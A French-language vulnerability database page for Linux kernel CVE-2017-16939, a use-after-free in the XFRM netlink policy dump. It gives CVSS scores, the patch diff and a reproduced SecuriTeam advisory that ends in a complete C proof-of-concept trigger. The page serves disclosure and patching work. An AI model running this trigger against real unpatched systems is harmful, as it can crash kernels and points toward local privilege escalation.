CVE-2017-16939 Détail

CVE-2017-16939

Score / Gravité

7.8

Haute

Catégories

Memory Corruption

EPSS

0.04%V3

Vecteur

Local

Publié

2017-11-24
09h00 +00:00

Modifié

2019-05-14
20h06 +00:00

Liens officiels

CVE.org

NVD

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Descriptions du CVE

The XFRM dump policy implementation in net/xfrm/xfrm_user.c in the Linux kernel before 4.13.11 allows local users to gain privileges or cause a denial of service (use-after-free) via a crafted SO_RCVBUF setsockopt system call in conjunction with XFRM_MSG_GETPOLICY Netlink messages.

Informations du CVE

Faiblesses connexes

CWE-ID	Nom de la faiblesse	Source
CWE-416	Use After Free The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer.

Métriques

Métriques	Score	Gravité	CVSS Vecteur	Source
V3.1	7.8	HIGH	CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Local The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. Low The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. None The vulnerable system can be exploited without interaction from any user. Base: Scope Metrics The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. Unchanged An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact Metrics The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. High There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. High There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental Metrics These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.	[email protected]
V2	7.2		AV:L/AC:L/Au:N/C:C/I:C/A:C	[email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 44049

Date de publication : 2017-11-22 23h00 +00:00
Auteur : SecuriTeam
EDB Vérifié : No

## Vulnerability Summary The following advisory describes a Use-after-free vulnerability found in Linux kernel that can lead to privilege escalation. The vulnerability found in Netlink socket subsystem – XFRM. Netlink is used to transfer information between the kernel and user-space processes. It consists of a standard sockets-based interface for user space processes and an internal kernel API for kernel modules. ## Credit An independent security researcher, Mohamed Ghannam, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program ## Vendor response The vulnerability has been addressed as part of 1137b5e (“ipsec: Fix aborted xfrm policy dump crash”) patch: CVE-2017-16939 ``` @@ -1693,32 +1693,34 @@ static int dump_one_policy(struct xfrm_policy *xp, int dir, int count, void *ptr static int xfrm_dump_policy_done(struct netlink_callback *cb) { - struct xfrm_policy_walk *walk = (struct xfrm_policy_walk *) &cb->args[1]; + struct xfrm_policy_walk *walk = (struct xfrm_policy_walk *)cb->args; struct net *net = sock_net(cb->skb->sk); xfrm_policy_walk_done(walk, net); return 0; } +static int xfrm_dump_policy_start(struct netlink_callback *cb) +{ + struct xfrm_policy_walk *walk = (struct xfrm_policy_walk *)cb->args; + + BUILD_BUG_ON(sizeof(*walk) > sizeof(cb->args)); + + xfrm_policy_walk_init(walk, XFRM_POLICY_TYPE_ANY); + return 0; +} + static int xfrm_dump_policy(struct sk_buff *skb, struct netlink_callback *cb) { struct net *net = sock_net(skb->sk); - struct xfrm_policy_walk *walk = (struct xfrm_policy_walk *) &cb->args[1]; + struct xfrm_policy_walk *walk = (struct xfrm_policy_walk *)cb->args; struct xfrm_dump_info info; - BUILD_BUG_ON(sizeof(struct xfrm_policy_walk) > - sizeof(cb->args) - sizeof(cb->args[0])); - info.in_skb = cb->skb; info.out_skb = skb; info.nlmsg_seq = cb->nlh->nlmsg_seq; info.nlmsg_flags = NLM_F_MULTI; - if (!cb->args[0]) { - cb->args[0] = 1; - xfrm_policy_walk_init(walk, XFRM_POLICY_TYPE_ANY); - } - (void) xfrm_policy_walk(net, walk, dump_one_policy, &info); return skb->len; @@ -2474,6 +2476,7 @@ static const struct nla_policy xfrma_spd_policy[XFRMA_SPD_MAX+1] = { static const struct xfrm_link { int (*doit)(struct sk_buff *, struct nlmsghdr *, struct nlattr **); + int (*start)(struct netlink_callback *); int (*dump)(struct sk_buff *, struct netlink_callback *); int (*done)(struct netlink_callback *); const struct nla_policy *nla_pol; @@ -2487,6 +2490,7 @@ static const struct xfrm_link { [XFRM_MSG_NEWPOLICY - XFRM_MSG_BASE] = { .doit = xfrm_add_policy }, [XFRM_MSG_DELPOLICY - XFRM_MSG_BASE] = { .doit = xfrm_get_policy }, [XFRM_MSG_GETPOLICY - XFRM_MSG_BASE] = { .doit = xfrm_get_policy, + .start = xfrm_dump_policy_start, .dump = xfrm_dump_policy, .done = xfrm_dump_policy_done }, [XFRM_MSG_ALLOCSPI - XFRM_MSG_BASE] = { .doit = xfrm_alloc_userspi }, @@ -2539,6 +2543,7 @@ static int xfrm_user_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh, { struct netlink_dump_control c = { + .start = link->start, .dump = link->dump, .done = link->done, }; ``` ## Vulnerability details An unprivileged user can change Netlink socket subsystem – XFRM value sk->sk_rcvbuf (sk == struct sock object). The value can be changed into specific range via setsockopt(SO_RCVBUF). sk_rcvbuf is the total number of bytes of a buffer receiving data via recvmsg/recv/read. The sk_rcvbuf value is how many bytes the kernel should allocate for the skb (struct sk_buff objects). skb->trusize is a variable which keep track of how many bytes of memory are consumed, in order to not wasting and manage memory, the kernel can handle the skb size at run time. For example, if we allocate a large socket buffer (skb) and we only received 1-byte packet size, the kernel will adjust this by calling skb_set_owner_r. By calling skb_set_owner_r the sk->sk_rmem_alloc (refers to an atomic variable sk->sk_backlog.rmem_alloc) is modified. When we create a XFRM netlink socket, xfrm_dump_policy is called, when we close the socket xfrm_dump_policy_done is called. xfrm_dump_policy_done is called whenever cb_running for netlink_sock object is true. The xfrm_dump_policy_done tries to clean-up a xfrm walk entry which is managed by netlink_callback object. When netlink_skb_set_owner_r is called (like skb_set_owner_r) it updates the sk_rmem_alloc. netlink_dump(): In above snippet we can see that netlink_dump() check fails when sk->sk_rcvbuf is smaller than sk_rmem_alloc (notice that we can control sk->sk_rcvbuf via stockpot). When this condition fails, it jumps to the end of a function and quit with failure and the value of cb_running doesn’t changed to false. nlk->cb_running is true, thus xfrm_dump_policy_done() is being called. nlk->cb.done points to xfrm_dump_policy_done, it worth noting that this function handles a doubly linked list, so if we can tweak this vulnerability to reference a controlled buffer, we could have a read/write what/where primitive. ## Proof of Concept The following proof of concept is for Ubuntu 17.04. ``` #define _GNU_SOURCE #include <string.h> #include <stdio.h> #include <stdlib.h> #include <asm/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <linux/netlink.h> #include <linux/xfrm.h> #include <sched.h> #include <unistd.h> #define BUFSIZE 2048 int fd; struct sockaddr_nl addr; struct msg_policy { struct nlmsghdr msg; char buf[BUFSIZE]; }; void create_nl_socket(void) { fd = socket(PF_NETLINK,SOCK_RAW,NETLINK_XFRM); memset(&addr,0,sizeof(struct sockaddr_nl)); addr.nl_family = AF_NETLINK; addr.nl_pid = 0; /* packet goes into the kernel */ addr.nl_groups = XFRMNLGRP_NONE; /* no need for multicast group */ } void do_setsockopt(void) { int var =0x100; setsockopt(fd,1,SO_RCVBUF,&var,sizeof(int)); } struct msg_policy *init_policy_dump(int size) { struct msg_policy *r; r = malloc(sizeof(struct msg_policy)); if(r == NULL) { perror("malloc"); exit(-1); } memset(r,0,sizeof(struct msg_policy)); r->msg.nlmsg_len = 0x10; r->msg.nlmsg_type = XFRM_MSG_GETPOLICY; r->msg.nlmsg_flags = NLM_F_MATCH | NLM_F_MULTI | NLM_F_REQUEST; r->msg.nlmsg_seq = 0x1; r->msg.nlmsg_pid = 2; return r; } int send_msg(int fd,struct nlmsghdr *msg) { int err; err = sendto(fd,(void *)msg,msg->nlmsg_len,0,(struct sockaddr*)&addr,sizeof(struct sockaddr_nl)); if (err < 0) { perror("sendto"); return -1; } return 0; } void create_ns(void) { if(unshare(CLONE_NEWUSER) != 0) { perror("unshare(CLONE_NEWUSER)"); exit(1); } if(unshare(CLONE_NEWNET) != 0) { perror("unshared(CLONE_NEWUSER)"); exit(2); } } int main(int argc,char **argv) { struct msg_policy *p; create_ns(); create_nl_socket(); p = init_policy_dump(100); do_setsockopt(); send_msg(fd,&p->msg); p = init_policy_dump(1000); send_msg(fd,&p->msg); return 0; } ```